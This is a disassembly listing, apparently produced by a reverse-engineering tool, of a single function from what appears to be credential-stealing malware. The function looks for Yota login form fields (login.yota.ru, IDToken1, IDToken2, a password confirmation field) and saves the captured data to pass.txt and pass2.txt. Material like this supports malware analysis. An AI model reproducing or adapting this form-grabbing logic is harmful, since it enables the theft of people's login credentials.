Function at 0x10015de0
Capabilities:
Clear file content
Create directory
Create thread
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
cmp dword [0x10020174], 0
push esi
push edi
jne 0x100160a6
mov esi, dword [ebp + 8]
test esi, esi
je 0x100160a6
cmp dword [0x10020170], 0
jne 0x10015f8d
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str.login.yota.ru
push esi
call edi
add esp, 8
test eax, eax
je 0x100160a6
push str.IDToken1
push esi
call edi
add esp, 8
test eax, eax
je 0x100160a6
push str.IDToken2
push esi
call edi
add esp, 8
test eax, eax
je 0x100160a6
xor eax, eax
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x10015e51
push 0x10023238
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10023238
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10015e75
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015e87
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x10023238
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x218], cl
inc eax
test cl, cl
jne 0x10015eb0
mov eax, 0x10023238
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015ed0
lea edi, [ebp - 0x218]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015ee0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x218]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10004120
push 0
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015f24
sub eax, edx
mov edi, eax
je 0x10015f80
push 0
push 0x80
push 2
push 0
push 7
push 0xc0000000
push str.pass.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10015f80
mov ecx, dword [ebp + 8]
push 0
lea eax, [ebp - 4]
push eax
push edi
push ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10015f79
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp + 8]
mov dword [0x10020170], 1
push str.YotaConfirmForm_password_
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x100160a6
xor eax, eax
jmp 0x10015fb0
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x10015fb0
push 0x10023238
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10023238
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015fd4
lea edi, [ebp - 0x110]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015fe4
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea edx, [ebp - 0x110]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016020
sub eax, edx
mov edi, eax
je 0x1001607c
push 0
push 0x80
push 2
push 0
push 7
push 0xc0000000
push str.pass2.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001607c
mov edx, dword [ebp + 8]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10016075
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x100160b0
push 0
push 0
mov dword [0x10020174], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x100160a6
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4